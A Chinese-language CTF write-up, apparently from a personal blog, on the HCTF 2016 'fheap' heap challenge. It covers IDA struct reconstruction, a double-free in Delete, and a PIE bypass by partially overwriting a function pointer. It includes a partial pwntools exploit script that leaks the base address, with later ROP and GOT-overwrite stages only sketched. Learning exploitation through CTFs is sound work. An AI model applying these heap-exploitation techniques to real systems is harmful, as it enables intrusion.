pwn | hctf2016 fheap
笑死…一上午就建结构体了….真是没建过不熟悉操作..添加一个成员要在ends那里点d
, 要在前面点d
就是更改这个成员的大小了, 有db
, dw
, dd
, dq
可以选…对应1, 2, 4, 8字节
还有数组的话…经常是由于对齐的原因, 源代码中0x100的数组在ida里看到可能会多出来个4字节之类的.
设置类型的时候选数组和选指针是很不一样的…显示出来就不一样
64bit的程序出现&unk_balabala + 4 * i
, 说明这个很可能是个大小为4 * 8 = 0x20
大小的结构…出现(一堆转换)(&unk_balabala + 4 * i)(arg1, arg2)
说明这个偏移上是一个函数指针…应该是做得多了就熟悉了…我好菜QAQ
题目分析
00000000 ; Ins/Del : create/delete structure
00000000 ; D/A/* : create structure member (data/ascii/array)
00000000 ; N : rename structure or structure member
00000000 ; U : delete structure member
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 String struc ; (sizeof=0x20, mappedto_2) ; XREF: String_list/o
00000000 data ptr_or_str ?
00000010 length dq ?
00000018 release_func dq ?
00000020 String ends
00000020
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ptr_or_str union ; (sizeof=0x10, mappedto_4) ; XREF: String/r
00000000 ptr dq ?
00000000 str db 16 dup(?)
00000000 ptr_or_str ends
00000000
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 String_list struc ; (sizeof=0x10, mappedto_5) ; XREF: .bss:Slist/r
00000000 inuse dq ?
00000008 Str dq ? ; offset
00000010 String_list ends
结果分析建立了俩结构体..大概就是
struct String {
ptr_or_str data; //存字符数组或者字符串指针
int length; //长度
void (*release_func)(String *); // free函数指针
}
union ptr_or_str {
void * ptr; // 8byte
char str[16]; // 16byte
}
// 判断字符串长度是不是大于16, 大于16就堆上申请对应大小空间来存, 并把指针对应过来, 如果小的话, 就存在这个数组里
// 小的对应的函数只free(String), 长的会free(String)并且free(String -> data.ptr)
哦对, 题目输入有点坑, 哈哈哈
题目就只有两个功能, Create一个字符串和Delete一个字符串
漏洞的点在于Delete的时候没有判断是不是以及Delete过, 所以能double free
做了一天做不来…发现是因为开了PIE
.. 我大概是个智障吧
PIC
我加了-fpic
, 之后, 仿佛程序没啥变化…地址每次也米有随机, 大概是这样子就可以加载到其他位置了, 但如果是一个可执行文件, 他每次也不会变, 所以其实只对so有用?
PIE
加了-fpie
, 用IDA打开程序, 显示的都是一个比较小的偏移量,比如0x61e
, 而运行之后, 发现他的代码段和数据段也会每次随机化, 但末尾12位不变, 就是运行之后他会变成0x565555 61e
, 后12位还是61e
.
仔细查了一下有-fPIE
or -fpie
-pie
…这个杂乱的关系我还是没搞懂
而这题是gcc main.c -pie -fpic -o pwn
…
算了, 先到这里, 我知道这一段前面的内容就好了
所以这个时候我们要bypass PIE, 就要至少泄露出一个的地址…这道题目中的两个函数指针就可以做这个事情, 而我们要泄露这个指针我们至少要调用printf
或者puts
这样子的函数, 这个时候, 我们可以通过更改函数地址的末尾12bits来达到调用release_func
的时候跑到任何距离他12bits的代码段来执行
而我们发现
Free1在0xd52
Free2在0xd6c
而puts@plt
就在0x990
所以我们可以把其中一个Free
改成puts
, 然后再泄露地址
#encoding: utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
Debug = 0
if Debug == 1 :
p = remote('127.0.0.1', 10001)
else:
p = process("./fheap")
elf = ELF("./fheap")
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def create(size, con):
p.recvuntil("3.quit")
p.sendline("create ")
p.recvuntil("Pls give string size:")
p.sendline(str(size))
p.recvuntil("str:")
p.send(con)
def delete(id, payload="yes"):
p.recvuntil("3.quit")
p.sendline("delete ")
p.recvuntil("id:")
p.sendline(str(id))
p.recvuntil("sure?:")
p.sendline(payload)
def ROP():
ropchain = "yes.padd" # trash
# 下面是rop链
ropchain += ...
...
return ropchain
# Stage1
create(0x4, '0')
create(0x4, '1')
delete(0)
delete(1)
delete(0)
# 这个时候相当于把1放到free_list里了
create(0x4, '\x00') #0, trash
# 覆盖最后8位, 也就是函数指针, 让他变换成`call puts`
create(0x20, '6' * 20 + 'flag' + '\x2d') # 1(struc_str) -> 0(string)
delete(0) #注意...由于更改了函数指针, 这里没有free掉chunk0....
p.recvuntil('flag')
addr = p.recvline()
addr = addr[:-1]
base_addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d
p.success("base_addr: {}".format(hex(base_addr)))
# Stage2
# 这个时候我们已经有base了, 所以就可以操作了...
# 这个stage2假设我们有了libc..直接要修改got来起shell了
def stage2():
pppp_ret = base_addr + 0x11dc
delete(1)
# 这个时候注意一下, 他这里是先free(chunk0) -> free(chunk1)
# 所以现在freelist里是1 -> 0 -> 1 -> 0 -> ....
create(4, '\x00') # 这里的`\x00`很重要, 这样子就不会破坏`fd`, 如果胡乱写的话, 就不是 1, 0 循环链表了..甚至可能再分配两次就会崩溃...!调试一下就知道了
create(0x20, 'a' * 0x18 + p64(pppp_ret)) #0 -> 1
# 4 pop 会从高地址到低地址方向弹出来 0x8 * 4 - 0x20个字节
# 这样子就能弹出来栈里没用的数据, 然后就到就到buf[8..]部分
################
# buf是`[低](rbp - 0x110) ~ (rbp - 0x10)[高]`这0x100这些字节
# 现在栈顶是由于开始的`sub rsp, 120h`
# 现在的rsp是`rbp - 0x120`, 和buf相差0x10字节, 然后要把buf前8字节弹出来
# 而且call了我们的release_func之后栈里多了8字节的函数返回地址, 所以共0x20
# ---------------------------------------
# .....
# buf[8..16] ---> 我们rop的起点
# buf[0..8] -------------------------+ rbp - 0x110
# var_1 +
# var_2 + rbp - 0x120
# ret_addr_of_release_func ----------+ 栈顶
payload = ROP()
# 现在的data部分是chunk1了, 所以delete(1), 并且PPPPR之后就能返回到buf的第9字节, 前8字节是`yes.padd`(把yes填充到了8字节, 在第四个pop那里也弹出去了)
delete(1, payload)
# True_Stage2
# 这题我们其实没有libc....所以我们要leak
# flappypig的做法就是用格式化字符串
def leak(address):
printf_plt = base_addr + elf.plt['printf']
delete(1)
create(4, '\x00')
payload1 = printf_payload + p64(printf_plt)
create(0x20, payload1)
# 这个printf_payload就是确定一下和address的距离然后填好
# 据说wp是`%9$s`
payload2 = "yes.padd" + address
delete(1, payload2)
# 这个时候处理收到的数据就可以了..
...
# 处理好然后ret个值
# 然后这个函数就可以交给Dynleak了...
# Stage3 就是更改got表, 拿shell了
...
p.interactive()
又学到了好多QAQ, 我好菜…这道题当场做出来的真厉害, 这要是都写出来得写多少
暂时先放下了